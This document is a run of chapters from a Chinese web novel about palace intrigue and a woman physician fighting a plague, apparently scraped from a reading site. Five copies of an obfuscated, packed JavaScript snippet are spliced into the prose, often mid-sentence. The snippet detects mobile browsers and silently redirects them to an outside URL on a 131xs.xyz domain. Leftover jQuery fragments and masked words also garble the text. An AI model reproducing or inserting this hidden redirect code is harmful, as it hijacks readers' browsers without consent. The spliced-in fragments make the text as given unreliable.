皇上坐在书桌后,目光如炬地盯着赵崇山,冷冷开口:“赵崇山,赵德权意图陷害无辜,淑妃于宫中多有不轨,你赵家犯下如此大错,该当何罪?” 赵崇山抬起头,目光坦然与皇上对视:“陛下,老臣深知此事给朝廷带来震动。但老臣以为,犬子与小女虽有错,却也需查明背后是否另有隐情。淑妃在宫中,诸多事宜或许并非她一人所为,其中或有他人挑拨。至于犬子,向来行事鲁莽,也许被人利用,一时糊涂才犯下大错。” 皇上冷笑一声:“哼,你这是在为他们开脱?证据确凿,还需何隐情?” 赵崇山依旧镇定:“陛下,老臣不敢开脱。只是如此大事,关乎朝廷颜面,也关乎赵家百年声誉,还望陛下能详查。老臣侍奉三朝,对陛下忠心耿耿,若赵家真有谋逆之心,又怎会等到今日?” 皇上眉头紧皱:“你倒会说。那依你之见,此事该如何处置?” 赵崇山微微低头,思索片刻,心中权衡着利弊,缓缓说道:“陛下,老臣愿领罪,辞去现职,回家闭门思过,以正家风。至于犬子与小女,还望陛下念及老臣多年为朝廷效力,从轻发落。” 皇上看着赵崇山,神色莫测:“从轻发落?赵德权犯下谋逆大罪,淑妃扰乱宫闱,岂是你闭门思过就能了事?” 赵崇山心中一沉,但仍稳住情绪,开始有条不紊地为自己的主张辩驳:“陛下,老臣明白陛下的顾虑。只是赵家世代为朝廷效力,老臣一生征战朝堂,为朝廷立下汗马功劳。” “想当年,边疆战事吃紧,老臣不顾生死,亲率大军出征,击退外敌,保我朝边疆安稳十数年。朝中政务,老臣也殚精竭虑,为陛下排忧解难,不敢有丝毫懈怠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777467|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “若因子女之错,将赵家满门问罪,恐寒了朝中大臣之心,也让天下人看到朝廷凉薄,于陛下的圣名与朝廷的稳定,皆有不利啊。” 皇上沉默不语,手指轻轻敲击桌面,眼神中透露出思索之色。赵崇山见状,继续说道:“陛下,老臣愿将赵家部分产业充公,用于充实国库,也算为朝廷尽最后一份力。” “这些产业皆是赵家多年经营所得,涵盖诸多领域,充公后可为朝廷带来可观收益,用于民生建设、军事扩充等,于国于民皆有益处。只求陛下能给赵家一个机会,让子女能改过自新。” 皇上目光锐利地看着赵崇山:“你这是在和朕做交易?” 赵崇山赶忙跪地,脸上满是惶恐之色,但话语却依旧有条有理:“老臣不敢。老臣只是为朝廷大局着想,也为赵家列祖列宗考虑,不想百年基业毁于一旦。” “陛下圣明,定能洞察老臣的一片苦心。如今朝廷内外局势微妙,若因赵家之事引发动荡,恐让外敌有可乘之机。老臣此举,实是希望能将此事妥善解决,维护朝廷的稳定。” 皇上沉思良久,他深知赵崇山所言并非全无道理,赵家在朝中势力盘根错节,贸然处置确实可能引发一系列连锁反应。 但赵德权与淑妃的罪行又不能轻易放过,否则难以服众。 权衡利弊后,皇上缓缓开口:“赵崇山,朕可以饶赵德权与淑妃一命,但他们必须终身监禁。而你,即刻告老还乡,不得再踏入京城半步。你若答应,朕便依你所言。” 赵崇山心中松了一口气,这结果虽不算最坏,但也让赵家元气大伤。 他深吸一口气,跪地叩首,声音中带着一丝无奈与悲凉:“谢陛下隆恩,老臣遵旨。” 皇上看着赵崇山,神色平静地说道:“你去吧,希望你能明白朕的苦心。朕此举,既是为了朝廷的安稳,也是看在你多年功劳的份上。日后,你在老家也要谨言慎行,莫要再生出事端。” 第79章 试探 顾铭轩心中暗喜,面上却不动声色,笑道:“儿臣想着父皇在外奔波许久,儿臣十分挂念,盼着父皇早日归来,也好向父皇请教些朝堂之事。” 太后点点头,说道:“你有这份孝心便好。等你父皇回来,你们父子俩好好聊聊。” 顾铭轩从慈宁宫离开后回到御书房,处理完奏折后,盯着朱笔尖凝聚的那滴红墨,迟迟没有落下。 墨滴终于承受不住重量,啪地坠在奏折上,像一滴血。 陛下,茶凉了。李公公轻声提醒。 这才回神,发现案上的龙井早已没了热气。他揉了揉眉心,茶汤里映出自己疲惫的倒影。 窗外,一个小太监正踮着脚擦拭廊下的宫灯,那小心翼翼的模样,让他突然想起姜绾歌捣药时的侧脸——也是这般专注。 靖王府那边...有消息吗? 李公公的腰弯得更低了:回陛下,靖王殿下昨日陪王妃去了药铺,还...还亲手帮王妃晒了药材。 顾铭轩手中的茶盏突然倾斜,茶水泼在明黄色的龙袍上,洇开一片暗痕。 他想起那日在御花园,姜绾歌说起药方时眼睛发亮的模样,而当时站在她身旁的是靖王。 去请靖王入宫。顾铭轩突然起身,带翻了案上的奏折,就说...朕新得了幅《寒林图》,请他一同鉴赏。 顾清舟踏入御书房时,带进一阵潮湿的松木香。 顾铭轩注意到他靴底沾着几片淡紫色的花瓣,姜绾歌药圃里种的薰衣草。 皇兄这幅画...顾清舟凑近画轴,突然顿住,这不是《寒林图》啊? 顾铭轩轻笑一声,指尖抚过画卷边缘:朕记错了,是《春山图》。 他故意将画轴往右移了半寸,露出题跋处姜绾歌的小楷批注。 顾清舟的指尖微不可察地颤了一下。 说起来,顾铭轩状似无意地提起,王妃的医术越发精进了。太医院那几个老顽固,如今都抢着要她的方子。 绾歌她...确实喜欢钻研这些。 朕打算设个女医官的位置。皇帝突然说。 顾清舟猛地抬头,撞上皇帝深不见底的目光。一阵穿堂风掠过,吹得画轴哗啦作响,正好露出画中女子采药的背影。 顾清舟指尖猛地攥紧袖口,指甲几乎掐进掌心。他抬眼望了望殿内鎏金香炉腾起的青烟,定了定神,喉结滚动着开口:皇兄,绾歌那脾气您知道的,倔得像头牛。上回给李尚书家老太太看病,人家送她绸缎,她转头就分给了药铺学徒......说到这儿,他忽然顿住,目光落在殿角斑驳的红漆柱上,最近王府里乱得很,账房闹亏空,庄子上又闹虫灾,我忙得脚不沾地,她整天泡在药铺熬药,见了面也就是点点头,说不上三句话。 顾铭轩斜靠在龙椅上,手指有一下没一下敲着扶手,嘴角似笑非笑:哟,朕前儿还听说你们一道去城西看新开的药田,怎么这才几天,就生分得跟陌生人似的?皇弟该不会是在糊弄哥哥吧? 顾清舟心里一慌,往前迈了半步,玄色靴底蹭过青砖发出细微的声响。他垂下眼,盯着地上砖缝里的青苔:不瞒皇兄,我最近天天泡在账房查账本,她天不亮就去药铺,天黑才回来。昨儿在回廊碰见,她开口就问我库房有没有空屋子放药材,我想跟她说说庄子的事,她嗯了一声就走了......声音越来越轻,像是被风卷散的灰。 顾铭轩站起身,慢悠悠走到窗边,背对着顾清舟望着外头的御花园。几棵老槐树在风里晃悠,几片黄叶飘进来,落在他明黄的龙袍上。他叹了口气,语气却带着笑:可惜了,本想着让弟妹入朝当女医官,给老百姓做点实事。既然你们俩都忙,这事怕是难了。 顾清舟咬了咬牙,心里暗骂对方装模作样。他硬着头皮又说:皇兄,她现在一门心思扑在药铺,连我都摸不清她想啥。您说的那官儿,她肯定不乐意。 顾铭轩猛地转身,目光像刀子似的扎过来:皇弟这是抗旨?朕不过是惜才,你怎么推三阻四的,难不成有别的心思? 顾清舟膝盖一软,扑通跪在地上,额头差点碰到地砖:皇兄冤枉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777469|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !我哪敢抗旨?就是她现在对我冷淡得很,我说的话她未必听得进去。要是硬劝,怕她脾气一上来...... 顾铭轩冷哼一声,甩了甩袖子:算了,朕不为难你。女医官的位子我先空着,她愿不愿意,自己看着办。你回去跟她透个信,想清楚了回个话。 顾清舟心里发苦,却只能磕头答应:是,臣弟遵旨。 等顾清舟弓着背退出去,顾铭轩望着他的背影,嘴角慢慢勾起。 他知道弟弟这话里有真有假,但只要这夫妻俩生分了,机会就来了。 他伸手拨弄窗台上的一盆草药——那是前几日姜绾歌进宫给太后看病时落下的。 叶子绿油油的,在风里轻轻晃,像极了那天她在药堂后园采药时,发间别着的那朵小黄花。 雨水顺着檐角滴落,在地上汇成小小的漩涡。李公公捧着披风过来,却不敢打扰。 陛下...李公公欲言又止。 皇帝摆摆手,从袖中摸出个锦囊。里面装着晒干的茉莉,是那日姜绾歌施针时,从她发间落下的。 如今香气早已散尽,可他总觉得还能闻到一丝甜味。 雨幕中,几个小宫女匆匆跑过,怀里抱着新摘的桂花。皇帝突然眯起眼——最前面那个穿绿衫的,背影像极了姜绾歌身边的丫鬟。 去查查,他摩挲着锦囊上歪歪扭扭的针脚,靖王最近都见了哪些人。 李公公领命退下时,听见皇帝极轻地叹了口气。 那叹息混在雨声里,转眼就被冲散了。 陛下,靖王府的密报。李公公跪呈鎏金匣,声音压得极低,今早卯时,王妃独自去了城西义庄,酉时才回府,身边只带了药童。 皇帝指尖一颤,香囊上的线头突然崩断。他盯着匣中那页染了药渍的纸,上面歪歪扭扭记着夜交藤三钱、柏子仁五钱,落款是姜绾歌惯用的瘦金体。 备轿。他扯过龙袍甩在肩上,玉冠上的珍珠坠子晃出细碎光影,朕要去城西看看,到底是什么病症,能让王妃深夜不歇。 第80章 寒蝉蛊 城西破庙的腐臭味混着浓烈的药香扑面而来,姜绾歌捏着浸了烈酒的帕子捂住口鼻,蹲下身查看榻上男人的状况。 他面色青紫,脖颈上密布着诡异的黑斑,呼吸粗重得像拉风箱。 破庙门“吱呀”被推开,顾铭轩跨进门槛时,正看见姜绾歌将木勺抵在陌生男子唇边。 火光摇曳中,她专注的侧脸让他脚步微顿,直到男子干裂的嘴唇擦过她的指尖,心口才无端泛起涩意。 “陛下?”姜绾歌头也不抬,稳稳托住男子后颈喂完最后一口药,这才起身掸了掸裙摆。 她弯腰拾起滚落在地的碎碗片,声音沉稳:“此人从青芦镇逃来,染上的是会人传人的恶疾。高热、紫斑、咳血,和三日前城西暴毙的流民症状一模一样。” 顾铭轩目光扫过榻上人事不省的男子,瞥见对方脖颈处蔓延的暗紫色斑纹,指尖无意识摩挲着腰间革带:“你确定?” “自然。”姜绾歌将染血的帕子重重拍在桌上,“青芦镇现在恐怕已经尸横遍野。若不立刻封镇、阻断传播,不出半月,整个城西都会沦为死地。” 话音未落,男子突然剧烈抽搐,黑血喷溅而出。姜绾歌眼疾手快侧身避开,迅速摸出银针扎向对方人中穴。顾铭轩看着她行云流水的动作,想起太医院呈递的流民暴毙折子,眉头越拧越紧:“我即刻调人封锁路口。你随我回宫,太医院需要你研制药方。” “我要去青芦镇。”姜绾歌直起腰,眼里燃着固执的光,“只有找到病源,才能对症下药。” 顾铭轩凝视她沾着药渍的衣襟,许久才沉声道:“那里危险。” “比起成百上千人因瘟疫送命,我去青芦镇又算什么危险?”姜绾歌反问,转身收拾药箱的动作干脆利落。 庙外夜风卷着枯叶扑进来,吹得她鬓发飞扬,倒比平日里多了几分凌厉。 顾铭轩盯着她染着药汁的衣襟,喉结动了动:城西瘟疫凶险,太医院有三十三位太医,不差你一个。 姜绾歌攥紧药箱系带,指节泛白。她知道多说无用,干脆抿紧嘴唇行了个礼,转身时带起一阵艾草混着血腥味的风。庙外的月光将她的影子拉得很长,像一柄出鞘的剑,直直刺向青芦镇的方向。 回到王府时,夜色已深。姜绾歌刚跨进角门,破空声骤响!她本能地侧身一躲,一支淬毒的暗箭擦着耳畔钉入门框,箭尾绑着的字条簌簌飘动。 姜姑娘好大的架子。歪斜的字迹浸着墨汁,透着股狠劲,三日前便约好的看诊,如今药铺的梁柱都快被虫蛀空了,你还在城西喂野男人吃药? 落款处画着弯月勾着滴血的针——正是霁月楼主的标记。 她猛地拍了下额头。这些天被瘟疫搅得昏头,竟忘了城郊鬼医的看诊之约。 据说那楼主喜怒无常,医好的人要在月下跳足三曲舞,医不好的...药箱里还躺着半截去年送来的断手。 夜风卷起字条,若明日酉时不到,城西药铺便要添新柴了的字迹在月光下泛着冷光。 姜绾歌捏着纸条的手微微发抖,不知是气自己疏忽,还是恼那威胁的语气。 她望着天边残月——青芦镇的瘟疫要救,药铺的火也要灭。 第二天正午,城郊别院的朱漆门半开着。姜绾歌刚踏进去,两个黑衣人就堵住门,刀刃在阳光下泛着冷光。 正厅里,楼主坐在雕花椅上,戒指磕着扶手:“姜姑娘,我这院子等你等得草都长高一寸了。” 她把药箱重重砸在桌上,震得算盘珠子噼里啪啦乱跳:楼主要是等不及,不如派手下抬着病人去药铺排队?我这儿发热的、咳血的,连喘气儿费劲的都有,您那位要是病得比他们还重,我当场给他插三根救命针。 楼主把玩着白玉扳指的手骤然收紧,指节在烛光下泛着青白。 他抬手示意,几个下人抬来个面色惨白的男人,他喉咙里呼噜作响,嘴唇发紫。 “姜姑娘这是拿活人当儿戏?你药铺那些病秧子,哪个有我这兄弟金贵?他吐一口血,够你药铺半年的营生!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777470|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这人生了怪病,太医院说没救了。你治好他,我给你霁月楼一成股份。” 姜绾歌弯腰凑近病榻,指尖悬在男人喉间三寸处,突然嗤笑出声,猛地直起身将银针甩在桌上:“一成股份?楼主打发叫花子呢?太医院都治不好的病,您给我个画在纸上的大饼?” 她抓起药箱转身便走,木屐重重碾过青砖,“不如让您这位金贵兄弟咽气后,把尸体卖给太医院当教材,还能换两锭真银子!” 楼主猛地踹翻身旁的太师椅,檀木撞在青砖上发出巨响。他三步跨到姜绾歌面前,白玉扳指几乎戳到她鼻尖,眼底翻涌着阴鸷的怒色:“姜绾歌!别给脸不要脸!整个京城敢这么跟我说话的人,坟头草都长到半人高了!” 他抬手揪住姜绾歌的衣领,将她抵在冰凉的墙壁上,“你以为我真缺你这个大夫?不过是想看看,你这双号称能起死回生的手,到底是妙手仁心,还是装神弄鬼!” 楼主额角青筋突突直跳,被银针抵住的手臂僵在半空。 僵持片刻,他突然甩开姜绾歌的手,后退两步整了整凌乱的衣领,冷笑道:“好,好个牙尖嘴利的丫头!” 他一把扯开病榻前的帷幔,指着床上气若游丝的男人吼道:“今日便先放过你!但要是救不活他,我定让你那破药铺连块完整的招牌都剩不下!” 说罢,他狠狠踢开脚边的碎木,甩袖坐到太师椅上,烦躁地转动着扳指,“还不快治?在这等死呢?” 姜绾歌给男人把脉,指腹触到脉搏像琴弦般乱跳,又翻开眼皮看——眼白有血丝,舌苔发黑。 她心里清楚:这是中了西域的“寒蝉蛊”,用的药很冷门,一般大夫认不出。 霁月楼哪来的这种病人?分明是试探我! “能治,但要天山雪莲花、南海珍珠粉。”她说。楼主挑眉,一挥手,手下立刻捧来木盒,里面的雪莲雪白,珍珠圆润。 姜绾歌在偏房煎药,一边搅着药罐,一边盯着窗外——屋顶有黑影晃动,是埋伏的**。 第83章 比试失败 说完,她转身走进雨里,“信我的,带着病人来村西祠堂。” 周明远死死盯着姜绾歌远去的背影,指甲几乎掐进掌心。 地上散落的医书被雨水浸湿,他一脚踢翻药箱,铜制药杵滚到角落,发出刺耳的声响。 “一定是她暗中捣鬼!”他咬牙切齿地低吼,“那壮汉分明已经没了气息,怎么可能突然……” “周大夫,这姑娘的医术当真是……”一名老大夫刚开口,就被周明远凶狠的眼神打断。 “住口!”周明远猛地转身,撞倒身后的徒弟,“不过是用了些旁门左道!太医院的正统医术,岂会输给一个不知从哪冒出来的野丫头!” 他的声音在空荡荡的破庙里回荡,惊得梁上的乌鸦扑棱棱飞走。 其他大夫面面相觑,不再言语。有人默默弯腰拾起散落的药材,将姜绾歌留下的药罐里剩余的汤药分给其他病人。 一个年轻大夫尝了尝药味,眼睛突然亮起来:“这药方里用的天山雪莲和藏红花,配伍精妙,我从未见过如此大胆又合理的用法!” “是啊,若不是亲眼所见,谁能相信?”另一个大夫点头附和,“刚才那姑娘不仅救回了断气的壮汉,还让高热的姑娘转危为安,这等医术,当真是神了!” 周明远听着这些议论,只觉得太阳穴突突直跳。他猛地抓起地上的医书,狠狠摔在墙上:“不过是运气好罢了!等我研究透这瘟疫的根源,定要让她……”话未说完,他的两个徒弟怯生生地凑上来。 “师父,咱们……还要去祠堂吗?”其中一个徒弟小声问道。 “去?为什么要去!”周明远冷笑一声,“让她先得意着,等我找到她用药的破绽,再当众揭穿她的真面目!”他捡起沾满泥水的枣木拐杖,重重杵在地上,“走,回城里!我就不信,离了她,咱们还治不好这病!” 看着周明远一行人狼狈离去,破庙里的气氛反而轻松起来。 几个大夫主动收拾起姜绾歌留下的药材,将昏迷的病人小心翼翼地抬上担架。“咱们也去祠堂吧,跟着这位姑娘,或许真能找到治瘟疫的法子。”一位大夫提议道。 “我看行!”另一个大夫赞同,“就冲她能把**救活,我信她!” 暴雨倾盆而下,整整下了一夜。天刚蒙蒙亮,村西祠堂里已挤满了病人和大夫。 姜绾歌刚给一个孩子喂完药,就听见外面吵吵嚷嚷。 周明远带着几个衙役闯了进来,他头发乱糟糟的,脸上还沾着泥水,一进门就大喊:“都别信这个女人!她根本不会治病,就是想害死大家!” “周明远,你闹什么?”姜绾歌皱着眉头站起来。 周明远脖子一梗,指着地上的病人说:“这瘟疫根本不是普通病症!是有人故意**!我刚才在村里打听到,昨晚有人看见你鬼鬼祟祟在井边转悠!” 周围的人顿时议论纷纷,几个大夫也露出怀疑的神色。姜绾歌冷笑一声:“空口无凭就想栽赃?你说我**,证据呢?” “证据?”周明远从怀里掏出个布包,里面是几颗发黑的药丸,“这是从你药箱里搜出来的!肯定是**!” 姜绾歌还没开口,白胡子老大夫先站了出来:“周明远,这分明是驱寒的附子理中丸!你行医多年,连这个都认不出?” 周明远脸色涨红,突然抓住一个正在咳嗽的老人,把他往前一推:“那你解释解释,为什么他喝了你的药还没好转?分明是你医术不行,草菅人命!” 老人虚弱地摆了摆手:“这位姑娘的药...喝了已经好多了...” “够了!”姜绾歌上前一步,眼神冰冷,“周明远,你输了比试不甘心,就想出这些歪招?治病不是斗气,你再这样捣乱,才是真正的害人!” “我捣乱?”周明远突然扯开自己的衣袖,露出手臂上的红斑,“我为了找病因,故意让病人抓我,染上了瘟疫!你们看,这就是证据!我才是一心救人!” 人群里响起惊呼,几个大夫吓得往后退。姜绾歌却冷静地走上前,抓住周明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777473|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远的手腕仔细查看:“你这红斑边缘整齐,根本不是抓痕。再说了,正常人染上瘟疫,至少要两天才会发病,你这明显是刚弄上去的!” 周明远猛地甩开她的手,恼羞成怒:“你...你血口喷人!衙役们,把这个妖女抓起来!” 就在这时,一直没说话的陆院判突然咳嗽着站出来:“都别吵了!”他看向姜绾歌,“姑娘,你既然这么有把握,敢不敢当着大家的面,再治一个危重病人?” 姜绾歌点点头:“可以。但如果我治好了,周明远必须当众认错。” “好!”陆院判转头对周明远说,“你若是输了,就跟我回太医院,好好反省!” 周明远咬着牙不说话,算是默认了。 姜绾歌走到角落里,那里躺着一个昏迷的妇人,她的呼吸微弱,脸上已经没有血色。 姜绾歌从药箱里拿出几味草药,快速捣碎,又用温水调开。 “把她扶起来。”姜绾歌指挥着几个大夫。 妇人喝下汤药后,姜绾歌又取出银针,在她身上的穴位扎了下去。 时间一分一秒过去,祠堂里安静得只能听见喘气声。 突然,妇人咳嗽了几声,缓缓睁开了眼睛。人群里爆发出欢呼:“醒了!真的醒了!” 陆院判走上前,仔细查看妇人的情况,连连点头:“不可思议,不可思议啊!姑娘这医术,当真是出神入化!” 周明远脸色惨白,想要偷偷溜走,却被衙役拦住。 他还在嘴硬:“这...这只是巧合!” “巧合?”姜绾歌盯着他,“从一开始,你就只想争输赢,根本不顾病人死活。现在事实摆在眼前,你还有什么可说的?” 周围的大夫们也纷纷指责。 “就是,输了就耍赖!” “这种人也配当大夫?” 周明远被衙役按在祠堂斑驳的泥地上,他的灰布长衫沾满药渣与泥浆,还在声嘶力竭地叫嚷:“我是太医院出身!你们不能这么对我!” 第84章 年轻大夫 姜绾歌擦净银针,转头看向陆院判。 “陆大人,此人故意扰乱救治,伪造证据诬陷他人,昨夜更偷偷给昏迷的孩童灌下泻药,加重病情只为证明自己‘以毒攻毒’的荒谬疗法。” 她掀开角落草席,露出小脸蜡黄、虚弱抽搐的男孩,“若不是及时发现,这孩子活不过今夜。” 祠堂内瞬间炸开锅,几个年轻大夫冲上前揪住周明远的衣领:“畜生!连孩子都不放过!” 白胡子老大夫气得手直哆嗦:“亏你还自称医者!” 陆院判的拐杖重重杵在地上,震得青砖缝隙里的雨水四溅:“周明远,你可知罪?” “我没错!”周明远脖颈青筋暴起,“她用的针法见都没见过,分明是妖术!” 话音未落,姜绾歌突然将银针甩在他脚边,针尖深深没入青砖。 “妖术?那你解释,为何你给壮汉用的**,会让他七窍流血?而我施救时,又为何能让他起死回生?” 周明远被问得哑口无言,突然转头咬向按住他的衙役。 混乱中,他竟挣脱束缚,抄起墙角的药罐砸向姜绾歌。 千钧一发之际,陆院判猛地甩出拐杖,重重敲在周明远手腕上。 药罐“哐当”坠地,周明远惨叫着跪倒,腕骨已经扭曲变形。 “锁起来!”陆院判喘着粗气解开腰间印鉴,“即刻送往京兆府!就说太医院**周明远,滥用虎狼药致人死亡,蓄意谋害瘟疫患者!” 他转头看向姜绾歌,目光复杂,“姑娘,此等恶行,按律当斩。” 姜绾歌凝视着满地狼藉,想起破庙里那个因误诊差点丧命的壮汉,轻声道:“斩了他,不过是一具尸体。但让他活着,在大牢里抄写医书,将自己的错处写成警示案例,或许能救下更多人。” 周明远突然发出癫狂的笑声:“你们以为关得住我?我师兄在刑部……” 话未说完,陆院判已经掏出密函拍在桌上:“今早刚收到的消息,你师兄因贪墨救灾款,连同整个家族都被抄了。” 周明远如遭雷击,瘫软在地。衙役们用铁链将他拖走时,他的指甲在青砖上抓出刺耳声响,还在喃喃自语:“不可能……不可能……” 姜绾歌弯腰拾起散落的药材,对着惊魂未定的众人道:“瘟疫未除,别让他耽误了正事。”她将重新配好的汤药递给妇人,“这服药喝完,明日便可退烧。” 陆院判望着她忙碌的身影,长叹一声:“姑娘如此仁心,当真是杏林之幸。” 姜绾歌背起药箱准备离开。陆院判拦住她:“姑娘,太医院想请你去当太医,专门研究瘟疫的治法。” 姜绾歌摇摇头:“谢谢好意,但我更喜欢在外面给老百姓看病。这瘟疫的药方,我都写好了,您让人抄录下来,发给各地的大夫吧。” 雨又下了整整一夜。 天刚亮,姜绾歌正要背起药箱走,一个年轻大夫突然拦住她。 “姜姑娘!”小伙子跑得气喘吁吁,脸上还沾着药渣,“我叫沈砚白!昨天看你救人的法子太厉害了!用薄荷配雪莲,我翻了三年医书都没想到!能不能让我跟着你学?”说着就要磕头。 姜绾歌慌忙扶住要下跪的沈砚白,掌心触到他腕骨上粗粝的老茧——那是常年捣药、执笔留下的印记。 沈砚白鼻尖沁着薄汗,急得耳尖通红,像被霜打的柿子。 他手忙脚乱掏出本卷边的医书,纸页间还夹着干枯的药草标本,随着动作簌簌掉落。 “我没胡说!你用薄荷配雪莲那法子,我在医馆琢磨了半个月都没想通!收下我吧,我能守夜煎药、翻山采药,什么苦都能吃!” 一旁白胡子老大夫笑得直颤:“这小子值夜时,抱着《伤寒论》能读到公鸡打鸣,满屋子医书都被他翻烂咯!” 姜绾歌瞥见沈砚白散开的袖口,露出半截写满密密麻麻小字的布条,边角被磨得**糙发灰,分明是反复翻阅的痕迹。 她摩挲着药箱上冰凉的铜扣,想起这几日在破庙,总见少年蹲在呛人的药炉旁,被浓烟熏得直掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777474|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼泪还固执地添柴。 祠堂里也是他,默默给其他大夫递镊子、端药碗,手脚比谁都麻利。 此刻少年眼底跳动的炽热,像把不熄的火。 “行吧。”她故意板起脸,把药箱往他怀里一塞,“丑话说在前头,路上饿了没热饭,困了睡草垛,治砸了还得挨病人骂——现在后悔还来得及。” 沈砚白立刻把药箱扛上肩,背带深深勒进单薄的肩膀也浑然不觉,咧嘴笑出两颗虎牙:“放心!我比骡子还能扛!” 他转身时带起一阵风,惊得墙角药渣堆里的甲虫慌慌张张爬开。 看着少年大步往前的背影,姜绾歌忽然觉得,这一趟出来感觉不错。 两人往青芦镇赶。越走味道越难闻,路边都是尸体。 沈砚白脸色发白:“这里真的还有活人吗?” “所以才要去救人。”姜绾歌加快脚步。 到了青芦镇,街上一个人都没有。店铺门半开着,招牌被风吹得吱呀响。墙角蹲着几个病人,伸手喊:“大夫...救救我...” 沈砚白刚要冲过去,被姜绾歌一把拉住。 姜绾歌蹲下掰开病人的嘴查看舌苔,又掀开他溃烂的袖口。 腐肉的腥臭味直冲鼻腔,她在心里默念系统启动。 一道只有她能看见的蓝光从瞳孔中射出,快速扫过病人全身。脑海中立刻跳出一连串数据:体温40.2℃,肺部湿啰音明显,红斑呈网状扩散,血液毒素值超标3倍...... 不好!姜绾歌脸色骤变,这病的症状和毒素成分都变了,老药方根本没用。她快速在脑中检索系统给出的新配方,眉头越皱越紧。新药方需要一味叫冰魄草的药材,这是一种只生长在极寒之地的稀有草药,普通药铺根本找不到。 沈砚白吓得声音都变了调:怎么会这样?就几天时间病情怎么会突然变了? 瘟疫本来就善变。姜绾歌起身说道,先找个地方落脚,安顿好病人再说。 两人循着声音找到城隍庙。 第85章 毒株变异 庙里的景象触目惊心,满地都是痛苦呻吟的病人。 供桌上躺着个大爷,瘦得皮包骨头,手里还攥着一块发黑的馒头,气若游丝地喊着:水...水... 沈砚白眼眶通红,刚要跑去打水,被姜绾歌一把拦住:等等! 她掏出银针扎进大爷的穴位,一边翻眼皮查看一边摸脉搏,嘴里喃喃自语:湿毒入肺,心火过旺......系统推荐的药方需要冰魄草,这可怎么办? 加点黄连?沈砚白突然开口,见姜绾歌看过来,急忙解释,我看你之前用黄连降火气,这里心火这么大,是不是能...... 可以暂时缓解症状,但治标不治本。姜绾歌摇头,新药方必须用到冰魄草,否则根本压制不住体内的毒素。这草生长在雪山悬崖,现在上哪去找? 沈砚白挠挠头:要不咱们问问镇上的老人?说不定有人知道哪里能找到。 姜绾歌眼睛一亮:就这么办!你留在这儿煎药照顾病人,我去打听消息。她转身就要走,又想起什么似的回头叮嘱:煎药时看好火候,千万别煮糊了。 沈砚白胸脯一挺:放心吧!保证完成任务!看着姜绾歌匆匆离去的背影,他转身投入到病人里。 姜绾歌在空荡荡的青芦镇街巷里奔走,逮住每一个还有力气开口的病人打听。一位蜷缩在墙角的老妇人颤巍巍地指了个方向:“后山......听说有人在断崖边见过蓝莹莹的草,可......可那地方邪乎得很......”话音未落,便剧烈咳嗽起来,指缝间渗出黑紫色的血沫。 等她赶回城隍庙时,沈砚白正手忙脚乱地给病人喂药。药汤洒在草席上,蒸腾起刺鼻的气味。“情况更糟了!”沈砚白额头满是汗珠,“又有三个人开始咳血!”姜绾歌掀开病人的衣襟,新出现的红斑已经蔓延到心口,像无数条细小的毒蛇在皮肤上缠绕。 “得马上去找冰魄草。”她攥紧腰间的药袋,转头看向沈砚白,“你守在这里,用黄连煎水给他们吊着命。” “我跟你一起去!”沈砚白抄起墙角的柴刀,“这镇子到处都是病人,你一个人太危险!” 两人顺着老妇人指的方向往山后走。越往深处,腐叶堆得越高,空气中弥漫着令人作呕的腥甜。 